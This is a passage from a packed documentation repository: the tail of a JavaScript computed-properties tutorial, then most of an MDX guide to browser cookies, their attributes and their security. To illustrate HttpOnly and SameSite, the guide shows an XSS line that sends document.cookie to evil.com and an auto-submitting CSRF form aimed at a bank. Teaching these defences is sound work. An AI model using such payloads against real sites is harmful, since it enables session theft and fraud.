converted to a string (or kept as a Symbol), and used as the key — all in a single expression.\n  </Accordion>\n\n  <Accordion title=\"How do you use a variable as an object key in JavaScript?\">\n    Wrap the variable in square brackets inside the object literal: `{ [myVariable]: value }`. Without brackets, `{ myVariable: value }` creates a property literally named `\"myVariable\"`. The brackets tell JavaScript to evaluate the expression and use the result as the key name.\n  </Accordion>\n\n  <Accordion title=\"Why do Symbols require computed property syntax?\">\n    Symbol values cannot be expressed as identifiers or string literals in object shorthand. Writing `{ mySymbol: value }` creates a string key `\"mySymbol\"`, not a Symbol key. Only the computed syntax `{ [mySymbol]: value }` evaluates the variable and uses the actual Symbol as the key, as specified in the ECMAScript standard.\n  </Accordion>\n\n  <Accordion title=\"What happens when two computed properties evaluate to the same key?\">\n    The last one wins — JavaScript silently overwrites previous values with no error. This applies whether the duplicates come from computed properties, static properties, or a mix. MDN documents that this behavior is consistent with how all property assignments work in JavaScript.\n  </Accordion>\n\n  <Accordion title=\"Can I use computed property names with methods and getters/setters?\">\n    Yes. Computed syntax works with method shorthand (`{ [name]() {} }`), generator methods (`{ *[name]() {} }`), async methods (`{ async [name]() {} }`), and accessor properties (`{ get [name]() {}, set [name](v) {} }`). This enables powerful patterns for dynamically-named APIs.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Modern JS Syntax (ES6+)\" icon=\"wand-magic-sparkles\" href=\"/concepts/modern-js-syntax\">\n    Overview of ES6+ features including destructuring, spread, arrow functions, and enhanced object literals.\n  </Card>\n  <Card title=\"JavaScript Type Nuances\" icon=\"code\" href=\"/beyond/concepts/javascript-type-nuances\">\n    Deep dive into Symbols, a primary use case for computed property keys in JavaScript.\n  </Card>\n  <Card title=\"Getters & Setters\" icon=\"arrows-rotate\" href=\"/beyond/concepts/getters-setters\">\n    Combine computed property names with get and set for dynamic accessor properties.\n  </Card>\n  <Card title=\"Property Descriptors\" icon=\"sliders\" href=\"/beyond/concepts/property-descriptors\">\n    Control writable, enumerable, and configurable flags on your computed properties.\n  </Card>\n  <Card title=\"Object Methods\" icon=\"cube\" href=\"/beyond/concepts/object-methods\">\n    Iterate and transform objects using Object.keys(), entries(), and fromEntries().\n  </Card>\n  <Card title=\"Tagged Template Literals\" icon=\"wand-magic-sparkles\" href=\"/beyond/concepts/tagged-template-literals\">\n    Another ES6+ syntax feature for advanced string processing with template literals.\n  </Card>\n</CardGroup>\n\n---\n\n## References\n\n<CardGroup cols={2}>\n  <Card title=\"Object Initializer — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#computed_property_names\">\n    Official MDN reference for object literals with a dedicated section on computed property names.\n  </Card>\n  <Card title=\"Property Accessors — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors\">\n    Understand bracket notation, the foundation for how computed property names work.\n  </Card>\n  <Card title=\"Symbol — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol\">\n    Comprehensive reference on Symbols, commonly used with computed property syntax.\n  </Card>\n  <Card title=\"Working with Objects — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects\">\n    Beginner guide covering object fundamentals and property access patterns.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Objects — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/object#computed-properties\">\n    Excellent tutorial with a dedicated \"Computed properties\" section and interactive examples.\n  </Card>\n  <Card title=\"ES6 In Depth: Symbols\" icon=\"newspaper\" href=\"https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/\">\n    Mozilla Hacks article explaining Symbols and their use as computed property keys for iterables.\n  </Card>\n  <Card title=\"Exploring ES6: New OOP Features\" icon=\"newspaper\" href=\"https://exploringjs.com/es6/ch_oop-besides-classes.html\">\n    Dr. Axel Rauschmayer's deep technical analysis of computed property keys and ES6 object enhancements.\n  </Card>\n  <Card title=\"Computed Property Names\" icon=\"newspaper\" href=\"https://ui.dev/computed-property-names\">\n    Focused practical article with before/after ES6 comparisons and real-world examples.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"ES6 JavaScript Tutorial\" icon=\"video\" href=\"https://www.youtube.com/@TraversyMedia\">\n    Traversy Media's comprehensive ES6 coverage including enhanced object literals and computed properties.\n  </Card>\n  <Card title=\"Modern JavaScript Tutorial\" icon=\"video\" href=\"https://www.youtube.com/@NetNinja\">\n    The Net Ninja's series on modern JavaScript features with clear explanations of ES6 syntax.\n  </Card>\n  <Card title=\"JavaScript ES6 Features\" icon=\"video\" href=\"https://www.youtube.com/@WebDevSimplified\">\n    Web Dev Simplified tutorials explaining ES6 features including object shorthand and computed properties.\n  </Card>\n  <Card title=\"JavaScript Quick Tips\" icon=\"video\" href=\"https://www.youtube.com/@Fireship\">\n    Fireship's fast-paced explainers covering JavaScript syntax features and best practices.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/cookies.mdx",
    "content": "---\ntitle: \"Cookies in JavaScript\"\nsidebarTitle: \"Cookies\"\ndescription: \"Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, and security best practices.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Browser Storage\"\n\"article:tag\": \"cookies, http cookies, cookie attributes, httponly samesite, cookie security\"\n---\n\nWhy do websites \"remember\" you're logged in, even after closing your browser? How does that shopping cart persist across tabs? Why can some data survive for weeks while other data vanishes when you close a tab?\n\n```javascript\n// Set a cookie that remembers the user for 7 days\ndocument.cookie = \"username=Alice; max-age=604800; path=/; secure; samesite=strict\"\n\n// Read all cookies (returns a single string)\nconsole.log(document.cookie)  // \"username=Alice; theme=dark; lang=en\"\n\n// The server also sees these cookies with every request!\n// Cookie: username=Alice; theme=dark; lang=en\n```\n\nThe answer is **cookies**. Invented by Lou Montulli at Netscape in 1994, they're the original browser storage mechanism, and unlike localStorage, cookies are automatically sent to the server with every HTTP request. This makes them essential for authentication, sessions, and any data the server needs to know about.\n\n<Info>\n**What you'll learn in this guide:**\n- What cookies are and how they differ from other storage\n- Reading, writing, and deleting cookies with JavaScript\n- Server-side cookies with the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) header\n- Cookie attributes: `Expires`, `Max-Age`, `Path`, `Domain`\n- Security attributes: `Secure`, `HttpOnly`, `SameSite`\n- How to protect against XSS and CSRF attacks\n- First-party vs third-party cookies and privacy\n- The future of cookies: third-party deprecation and CHIPS\n- When to use cookies vs localStorage vs sessionStorage\n</Info>\n\n<Warning>\n**Prerequisites:** This guide builds on your understanding of [HTTP and Fetch](/concepts/http-fetch) and [localStorage/sessionStorage](/beyond/concepts/localstorage-sessionstorage). Understanding HTTP requests and responses will help you grasp how cookies travel between browser and server.\n</Warning>\n\n---\n\n## What are Cookies in JavaScript?\n\n**[Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)** are small pieces of data (up to ~4KB) that websites store in the browser and automatically send to the server with every HTTP request. Unlike localStorage which stays in the browser, cookies bridge the gap between client and server, enabling features like user authentication, session management, and personalization that require the server to \"remember\" who you are.\n\n<Note>\nCookies were invented by Lou Montulli at Netscape in 1994 to solve the problem of implementing a shopping cart. HTTP is stateless, meaning each request is independent. Cookies gave the web \"memory.\"\n</Note>\n\n---\n\n## The Visitor Badge Analogy\n\nThink of cookies like a **visitor badge at an office building**:\n\n1. **First visit**: You arrive and sign in at reception. They give you a badge with your name and access level.\n2. **Moving around**: You wear the badge everywhere. Security guards (servers) can see it and know who you are without asking again.\n3. **Badge expiration**: Some badges expire at the end of the day (session cookies). Others are valid for a year (persistent cookies).\n4. **Restricted areas**: Some badges only work on certain floors (the `path` attribute).\n5. **Security features**: Some badges have photos that can't be photocopied (the `HttpOnly` attribute prevents JavaScript access).\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     HOW COOKIES TRAVEL                                       │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   STEP 1: Browser requests a page                                            │\n│   ─────────────────────────────────                                          │\n│                                                                              │\n│   Browser ──────────────────────────────────────────────────────► Server     │\n│            GET /login HTTP/1.1                                               │\n│            Host: example.com                                                 │\n│                                                                              │\n│   STEP 2: Server responds with Set-Cookie                                    │\n│   ───────────────────────────────────────                                    │\n│                                                                              │\n│   Browser ◄────────────────────────────────────────────────────── Server     │\n│            HTTP/1.1 200 OK                                                   │\n│            Set-Cookie: sessionId=abc123; HttpOnly; Secure                    │\n│            Set-Cookie: theme=dark; Max-Age=31536000                          │\n│                                                                              │\n│   STEP 3: Browser stores cookies and sends them with EVERY request           │\n│   ────────────────────────────────────────────────────────────────           │\n│                                                                              │\n│   Browser ──────────────────────────────────────────────────────► Server     │\n│            GET /dashboard HTTP/1.1                                           │\n│            Host: example.com                                                 │\n│            Cookie: sessionId=abc123; theme=dark                              │\n│                                                                              │\n│   The server now knows who you are without you logging in again!             │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Setting Cookies with JavaScript\n\nThe [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) property is how you read and write cookies in JavaScript. But it has a quirky API that surprises most developers.\n\n### Basic Cookie Syntax\n\n```javascript\n// Set a simple cookie\ndocument.cookie = \"username=Alice\"\n\n// Set a cookie with attributes\ndocument.cookie = \"username=Alice; max-age=86400; path=/; secure\"\n\n// Important: Each assignment sets ONE cookie, not all cookies!\ndocument.cookie = \"theme=dark\"      // Adds another cookie\ndocument.cookie = \"lang=en\"         // Adds yet another cookie\n```\n\n### The Quirky Nature of document.cookie\n\nHere's what surprises most developers: `document.cookie` is NOT a regular property. It's an [accessor property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) with special getter and setter behavior:\n\n```javascript\n// Setting a cookie doesn't replace all cookies - it adds or updates ONE\ndocument.cookie = \"a=1\"\ndocument.cookie = \"b=2\"\ndocument.cookie = \"c=3\"\n\n// Reading returns ALL cookies as a single string\nconsole.log(document.cookie)  // \"a=1; b=2; c=3\"\n\n// You can't get a single cookie directly - you get ALL of them\n// There's no document.cookie.a or document.cookie['a']\n```\n\n### Encoding Special Characters\n\nCookie values can't contain semicolons, commas, or spaces without encoding:\n\n```javascript\n// Bad: This will break!\ndocument.cookie = \"message=Hello, World!\"  // Comma and space cause issues\n\n// Good: Encode the value\ndocument.cookie = `message=${encodeURIComponent(\"Hello, World!\")}`\n// Results in: message=Hello%2C%20World!\n\n// When reading, decode it back\nconst value = decodeURIComponent(getCookie(\"message\"))  // \"Hello, World!\"\n```\n\n---\n\n## Reading Cookies\n\nReading cookies requires parsing the `document.cookie` string. Here are practical helper functions:\n\n```javascript\n// Get a specific cookie by name\nfunction getCookie(name) {\n  const cookies = document.cookie.split(\"; \")\n  for (const cookie of cookies) {\n    const [cookieName, cookieValue] = cookie.split(\"=\")\n    if (cookieName === name) {\n      return decodeURIComponent(cookieValue)\n    }\n  }\n  return null\n}\n\n// Usage\nconst username = getCookie(\"username\")  // \"Alice\" or null\n```\n\n### A More Robust Parser\n\n```javascript\n// Parse all cookies into an object\nfunction parseCookies() {\n  return document.cookie\n    .split(\"; \")\n    .filter(Boolean)  // Remove empty strings\n    .reduce((cookies, cookie) => {\n      const [name, ...valueParts] = cookie.split(\"=\")\n      // Handle values that contain '=' signs\n      const value = valueParts.join(\"=\")\n      cookies[name] = decodeURIComponent(value)\n      return cookies\n    }, {})\n}\n\n// Usage\nconst cookies = parseCookies()\nconsole.log(cookies.username)  // \"Alice\"\nconsole.log(cookies.theme)     // \"dark\"\n```\n\n### Check If a Cookie Exists\n\n```javascript\nfunction hasCookie(name) {\n  return document.cookie\n    .split(\"; \")\n    .some(cookie => cookie.startsWith(`${name}=`))\n}\n\n// Usage\nif (hasCookie(\"sessionId\")) {\n  console.log(\"User is logged in\")\n}\n```\n\n---\n\n## Writing Cookies: A Complete Helper\n\nHere's a comprehensive cookie-setting function:\n\n```javascript\nfunction setCookie(name, value, options = {}) {\n  // Default options\n  const defaults = {\n    path: \"/\",           // Available across the entire site\n    secure: true,        // HTTPS only (recommended)\n    sameSite: \"lax\"      // CSRF protection\n  }\n  \n  const settings = { ...defaults, ...options }\n  \n  // Start building the cookie string\n  let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`\n  \n  // Add expiration\n  if (settings.maxAge !== undefined) {\n    cookieString += `; max-age=${settings.maxAge}`\n  } else if (settings.expires instanceof Date) {\n    cookieString += `; expires=${settings.expires.toUTCString()}`\n  }\n  \n  // Add path\n  if (settings.path) {\n    cookieString += `; path=${settings.path}`\n  }\n  \n  // Add domain (for sharing across subdomains)\n  if (settings.domain) {\n    cookieString += `; domain=${settings.domain}`\n  }\n  \n  // Add security flags\n  if (settings.secure) {\n    cookieString += \"; secure\"\n  }\n  \n  if (settings.sameSite) {\n    cookieString += `; samesite=${settings.sameSite}`\n  }\n  \n  document.cookie = cookieString\n}\n\n// Usage examples\nsetCookie(\"username\", \"Alice\", { maxAge: 86400 })           // 1 day\nsetCookie(\"preferences\", JSON.stringify({ theme: \"dark\" })) // Store object\nsetCookie(\"temp\", \"value\", { maxAge: 0 })                   // Delete immediately\n```\n\n---\n\n## Deleting Cookies\n\nThere's no direct \"delete\" method for cookies. Instead, you set the cookie with an expiration in the past or `max-age=0`:\n\n```javascript\nfunction deleteCookie(name, options = {}) {\n  // Must use the same path and domain as when the cookie was set!\n  setCookie(name, \"\", {\n    ...options,\n    maxAge: 0  // Expire immediately\n  })\n}\n\n// Alternative: Set expiration to the past\ndocument.cookie = \"username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/\"\n\n// Usage\ndeleteCookie(\"username\")\ndeleteCookie(\"sessionId\", { path: \"/app\" })  // Must match original path!\n```\n\n<Warning>\n**Critical:** When deleting a cookie, you MUST use the same `path` and `domain` attributes as when it was set. If a cookie was set with `path=/app`, deleting it with `path=/` won't work!\n</Warning>\n\n---\n\n## Server-Side Cookies with Set-Cookie\n\nWhile JavaScript can set cookies, servers have more control using the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) HTTP header:\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600\nSet-Cookie: csrfToken=xyz789; Secure; SameSite=Strict; Max-Age=3600\n```\n\n### Node.js/Express Example\n\n```javascript\nconst express = require(\"express\")\nconst app = express()\n\napp.post(\"/login\", (req, res) => {\n  // After validating credentials...\n  const sessionId = generateSecureSessionId()\n  \n  // Set a secure session cookie\n  res.cookie(\"sessionId\", sessionId, {\n    httpOnly: true,     // Can't be accessed by JavaScript!\n    secure: true,       // HTTPS only\n    sameSite: \"strict\", // CSRF protection\n    maxAge: 3600000     // 1 hour in milliseconds\n  })\n  \n  res.json({ success: true })\n})\n\napp.post(\"/logout\", (req, res) => {\n  // Clear the session cookie\n  res.clearCookie(\"sessionId\", {\n    httpOnly: true,\n    secure: true,\n    sameSite: \"strict\"\n  })\n  \n  res.json({ success: true })\n})\n```\n\n### Why Server-Set Cookies?\n\nServers can set cookies that JavaScript **cannot read or modify**:\n\n| Setter | Can Use HttpOnly? | JavaScript Access | Best For |\n|--------|------------------|-------------------|----------|\n| Server (`Set-Cookie`) | Yes | Blocked with HttpOnly | Session tokens, auth |\n| JavaScript (`document.cookie`) | No | Always accessible | UI preferences, non-sensitive data |\n\n---\n\n## Cookie Attributes Explained\n\n### Expires and Max-Age: Controlling Lifetime\n\n<Tabs>\n  <Tab title=\"max-age (Recommended)\">\n    ```javascript\n    // Expires in 1 hour (3600 seconds)\n    document.cookie = \"token=abc; max-age=3600\"\n    \n    // Expires in 7 days\n    document.cookie = \"remember=true; max-age=604800\"\n    \n    // Delete immediately (max-age=0 or negative)\n    document.cookie = \"token=; max-age=0\"\n    ```\n    \n    **Why prefer `max-age`?** It's relative to now, not dependent on clock synchronization between client and server.\n  </Tab>\n  <Tab title=\"expires (Legacy)\">\n    ```javascript\n    // Expires on a specific date (must be UTC string)\n    const expDate = new Date()\n    expDate.setTime(expDate.getTime() + 7 * 24 * 60 * 60 * 1000)  // 7 days\n    \n    document.cookie = `remember=true; expires=${expDate.toUTCString()}`\n    // expires=Sun, 12 Jan 2025 10:30:00 GMT\n    \n    // Delete by setting past date\n    document.cookie = \"token=; expires=Thu, 01 Jan 1970 00:00:00 GMT\"\n    ```\n    \n    **Caution:** `expires` depends on the client's clock, which may be wrong.\n  </Tab>\n  <Tab title=\"Session Cookie\">\n    ```javascript\n    // No expires or max-age = session cookie\n    document.cookie = \"tempData=xyz\"\n    \n    // This cookie is deleted when the browser closes\n    // (Though \"session restore\" features may keep it alive!)\n    ```\n  </Tab>\n</Tabs>\n\n### Path: URL Restriction\n\nThe `path` attribute restricts which URLs the cookie is sent to:\n\n```javascript\n// Only sent to /app and below (/app/dashboard, /app/settings)\ndocument.cookie = \"appToken=abc; path=/app\"\n\n// Only sent to /admin and below\ndocument.cookie = \"adminToken=xyz; path=/admin\"\n\n// Sent everywhere on the site (default recommendation)\ndocument.cookie = \"theme=dark; path=/\"\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     PATH ATTRIBUTE BEHAVIOR                                  │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   Cookie: token=abc; path=/app                                               │\n│                                                                              │\n│   /              ✗ Cookie NOT sent                                           │\n│   /about         ✗ Cookie NOT sent                                           │\n│   /app           ✓ Cookie sent                                               │\n│   /app/          ✓ Cookie sent                                               │\n│   /app/dashboard ✓ Cookie sent                                               │\n│   /app/settings  ✓ Cookie sent                                               │\n│   /application   ✗ Cookie NOT sent (not a subpath!)                          │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**Security Note:** The `path` attribute is NOT a security feature! A malicious script on `/public` can still read cookies set for `/admin` by creating a hidden iframe. Use `HttpOnly` and proper authentication instead.\n</Warning>\n\n### Domain: Subdomain Sharing\n\nThe `domain` attribute controls which domains receive the cookie:\n\n```javascript\n// Default: Only sent to exact domain that set it\ndocument.cookie = \"token=abc\"  // Only sent to www.example.com\n\n// Explicitly share with all subdomains\ndocument.cookie = \"token=abc; domain=example.com\"\n// Sent to: example.com, www.example.com, api.example.com, etc.\n```\n\n**Rules:**\n- You can only set `domain` to your current domain or a parent domain\n- You cannot set cookies for unrelated domains (security restriction)\n- Leading dots (`.example.com`) are ignored in modern browsers\n\n---\n\n## Security Attributes: Protecting Your Cookies\n\n### Secure: HTTPS Only\n\n```javascript\n// Only sent over HTTPS connections\ndocument.cookie = \"sessionId=abc; secure\"\n\n// Without 'secure', cookies can be intercepted on HTTP!\n```\n\n<Tip>\n**Always use `secure` for any sensitive cookie.** Without it, cookies can be intercepted by attackers on public WiFi (man-in-the-middle attacks).\n</Tip>\n\n### HttpOnly: Block JavaScript Access\n\nThe `HttpOnly` attribute is critical for security, but JavaScript cannot set it:\n\n```http\nSet-Cookie: sessionId=abc123; HttpOnly; Secure\n```\n\n```javascript\n// This cookie is invisible to JavaScript!\nconsole.log(document.cookie)  // sessionId won't appear\n\n// Attackers can't steal it via XSS:\n// new Image().src = \"https://evil.com/steal?cookie=\" + document.cookie\n// The sessionId won't be included!\n```\n\n**Why HttpOnly matters:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     XSS ATTACK WITHOUT HttpOnly                              │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   1. Attacker injects malicious script into your site                        │\n│   2. Script runs: new Image().src = \"evil.com?c=\" + document.cookie          │\n│   3. Attacker receives your session cookie!                                  │\n│   4. Attacker impersonates you and accesses your account                     │\n│                                                                              │\n│   WITH HttpOnly:                                                             │\n│   1. Attacker injects malicious script                                       │\n│   2. Script runs: document.cookie doesn't include HttpOnly cookies!          │\n│   3. Attacker gets nothing sensitive                                         │\n│   4. Your session is protected                                               │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n### SameSite: CSRF Protection\n\nThe [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value) attribute controls when cookies are sent with cross-site requests. According to web.dev's SameSite cookies guide, Chrome changed the default from `None` to `Lax` in 2020, significantly improving CSRF protection across the web:\n\n<Tabs>\n  <Tab title=\"Strict\">\n    ```javascript\n    document.cookie = \"sessionId=abc; samesite=strict\"\n    ```\n    \n    **Behavior:** Cookie is NEVER sent with cross-site requests.\n    \n    **Use case:** High-security cookies (banking, account management).\n    \n    **Downside:** If a user clicks a link from their email to your site, they won't be logged in on that first request.\n  </Tab>\n  <Tab title=\"Lax (Default)\">\n    ```javascript\n    document.cookie = \"sessionId=abc; samesite=lax\"\n    ```\n    \n    **Behavior:** Cookie is sent with top-level navigations (clicking links) but NOT with cross-site POST requests, images, or iframes.\n    \n    **Use case:** General authentication cookies. Good balance of security and usability.\n    \n    **Note:** This is the default in modern browsers if `SameSite` is not specified.\n  </Tab>\n  <Tab title=\"None\">\n    ```javascript\n    // Must include Secure when using SameSite=None!\n    document.cookie = \"widgetId=abc; samesite=none; secure\"\n    ```\n    \n    **Behavior:** Cookie is sent with ALL requests, including cross-site.\n    \n    **Use case:** Third-party cookies, embedded widgets, cross-site services.\n    \n    **Requirement:** Must also have `Secure` attribute.\n  </Tab>\n</Tabs>\n\n**CSRF Attack Prevention:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     CSRF ATTACK SCENARIO                                     │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   1. You're logged into bank.com (session cookie stored)                     │\n│   2. You visit evil.com which contains:                                      │\n│      <form action=\"https://bank.com/transfer\" method=\"POST\">                 │\n│        <input name=\"to\" value=\"attacker\">                                    │\n│        <input name=\"amount\" value=\"10000\">                                   │\n│      </form>                                                                 │\n│      <script>document.forms[0].submit()</script>                            │\n│   3. WITHOUT SameSite: Your session cookie is sent, transfer succeeds!       │\n│   4. WITH SameSite=Strict or Lax: Cookie NOT sent, attack fails!            │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n### Cookie Prefixes: Extra Security\n\nModern browsers support special cookie name prefixes that enforce security requirements:\n\n```http\n# __Secure- prefix: MUST have Secure attribute\nSet-Cookie: __Secure-sessionId=abc; Secure; Path=/\n\n# __Host- prefix: MUST have Secure, Path=/, and NO Domain\nSet-Cookie: __Host-sessionId=abc; Secure; Path=/\n```\n\nThe `__Host-` prefix provides the strongest guarantees:\n- Can only be set from a secure (HTTPS) page\n- Must have `Secure` attribute\n- Must have `Path=/`\n- Cannot have a `Domain` attribute (bound to exact host)\n\n---\n\n## First-Party vs Third-Party Cookies\n\n### First-Party Cookies\n\nCookies set by the website you're visiting:\n\n```javascript\n// On example.com\ndocument.cookie = \"theme=dark\"  // First-party cookie\n```\n\n### Third-Party Cookies\n\nCookies set by a different domain than the one you're visiting:\n\n```html\n<!-- On example.com, this image loads from ads.tracker.com -->\n<img src=\"https://ads.tracker.com/pixel.gif\">\n\n<!-- ads.tracker.com can set a cookie that tracks you across sites -->\n```\n\n**How third-party tracking works:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     THIRD-PARTY COOKIE TRACKING                              │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   You visit site-a.com                                                       │\n│   ├── Page loads ads.tracker.com/pixel.gif                                   │\n│   └── tracker.com sets cookie: userId=12345                                  │\n│                                                                              │\n│   Later, you visit site-b.com                                                │\n│   ├── Page loads ads.tracker.com/pixel.gif                                   │\n│   └── tracker.com receives cookie: userId=12345                              │\n│       \"Ah, this is the same person who visited site-a.com!\"                  │\n│                                                                              │\n│   tracker.com now knows your browsing history across multiple sites          │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Third-Party Cookie Deprecation\n\nMajor browsers are phasing out third-party cookies for privacy. According to MDN's third-party cookies documentation, this represents one of the most significant changes to web tracking since cookies were invented:\n\n| Browser | Status |\n|---------|--------|\n| Safari | Blocked by default since 2020 |\n| Firefox | Blocked by default in Enhanced Tracking Protection |\n| Chrome | Rolling out restrictions in 2024-2025 |\n\n### CHIPS: Partitioned Cookies\n\nFor legitimate cross-site use cases (embedded widgets, federated login), browsers now support **Cookies Having Independent Partitioned State (CHIPS)**:\n\n```http\nSet-Cookie: __Host-widgetSession=abc; Secure; Path=/; Partitioned; SameSite=None\n```\n\nWith `Partitioned`, the cookie is isolated per top-level site:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     PARTITIONED COOKIES (CHIPS)                              │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   widget.com embedded in site-a.com                                          │\n│   └── Cookie: widgetSession=abc (partitioned to site-a.com)                  │\n│                                                                              │\n│   widget.com embedded in site-b.com                                          │\n│   └── Cookie: widgetSession=xyz (partitioned to site-b.com)                  │\n│                                                                              │\n│   These are DIFFERENT cookies! widget.com can't track across sites.          │\n│   But it CAN maintain state within each embedding site.                      │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Cookies vs Web Storage: When to Use What\n\n| Feature | Cookies | localStorage | sessionStorage |\n|---------|---------|--------------|----------------|\n| **Size limit** | ~4KB per cookie | ~5-10MB | ~5-10MB |\n| **Sent to server** | Yes, automatically | No | No |\n| **Expiration** | Configurable | Never | Tab close |\n| **JavaScript access** | Yes (unless HttpOnly) | Yes | Yes |\n| **Survives browser close** | If persistent | Yes | No |\n| **Shared across tabs** | Yes | Yes | No |\n| **Best for** | Auth, server state | Large data, preferences | Temporary state |\n\n### Decision Guide\n\n<Steps>\n  <Step title=\"Does the server need this data?\">\n    **Yes** → Use cookies (they're sent automatically with requests)\n    \n    **No** → Consider Web Storage (doesn't add overhead to requests)\n  </Step>\n  \n  <Step title=\"Is it sensitive (session tokens, auth)?\">\n    **Yes** → Use server-set cookies with `HttpOnly`, `Secure`, `SameSite`\n    \n    **No** → JavaScript-set cookies or Web Storage are fine\n  </Step>\n  \n  <Step title=\"How much data?\">\n    **> 4KB** → Use localStorage or sessionStorage\n    \n    **< 4KB** → Either works\n  </Step>\n  \n  <Step title=\"Should it persist across tabs?\">\n    **No, only this tab** → Use sessionStorage\n    \n    **Yes** → Use cookies or localStorage\n  </Step>\n</Steps>\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"1. Forgetting to encode values\">\n    ```javascript\n    // Bad: Special characters break the cookie\n    document.cookie = \"query=search term with spaces\"\n    \n    // Good: Encode the value\n    document.cookie = `query=${encodeURIComponent(\"search term with spaces\")}`\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Wrong path when deleting\">\n    ```javascript\n    // Cookie was set with:\n    document.cookie = \"token=abc; path=/app\"\n    \n    // This WON'T delete it:\n    document.cookie = \"token=; max-age=0\"  // Wrong! Default path is current page\n    \n    // This WILL delete it:\n    document.cookie = \"token=; max-age=0; path=/app\"  // Same path!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Storing sensitive data without HttpOnly\">\n    ```javascript\n    // Dangerous: JavaScript can read this (XSS vulnerable)\n    document.cookie = \"sessionToken=secret123\"\n    \n    // Better: Set from server with HttpOnly\n    // Set-Cookie: sessionToken=secret123; HttpOnly; Secure\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Missing SameSite on sensitive cookies\">\n    ```javascript\n    // Vulnerable to CSRF attacks\n    document.cookie = \"authToken=abc; secure\"\n    \n    // Protected against CSRF\n    document.cookie = \"authToken=abc; secure; samesite=strict\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Exceeding size limits\">\n    ```javascript\n    // Cookies have ~4KB limit. This might fail silently:\n    const hugeData = JSON.stringify(largeObject)  // 10KB\n    document.cookie = `data=${hugeData}`  // Silently truncated or rejected!\n    \n    // For large data, use localStorage instead\n    localStorage.setItem(\"data\", hugeData)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"6. Not considering cookie overhead\">\n    ```javascript\n    // Every cookie is sent with EVERY request to that domain!\n    // 20 cookies × 100 bytes = 2KB extra per request\n    \n    // For data that doesn't need to go to the server:\n    localStorage.setItem(\"uiState\", JSON.stringify(state))  // Not sent!\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Best Practices\n\n<AccordionGroup>\n  <Accordion title=\"1. Always use Secure for sensitive cookies\">\n    ```javascript\n    // Good: Only sent over HTTPS\n    document.cookie = \"sessionId=abc; secure; samesite=strict\"\n    \n    // Server-side (Express):\n    res.cookie(\"sessionId\", token, { secure: true })\n    ```\n    \n    This prevents cookies from being intercepted on insecure networks.\n  </Accordion>\n  \n  <Accordion title=\"2. Use HttpOnly for session cookies\">\n    ```http\n    Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict\n    ```\n    \n    JavaScript cannot read HttpOnly cookies, protecting them from XSS attacks.\n  </Accordion>\n  \n  <Accordion title=\"3. Set appropriate SameSite values\">\n    ```javascript\n    // For session/auth cookies: Strict or Lax\n    document.cookie = \"auth=token; samesite=strict; secure\"\n    \n    // For cross-site widgets: None (with Secure)\n    document.cookie = \"widget=data; samesite=none; secure\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. 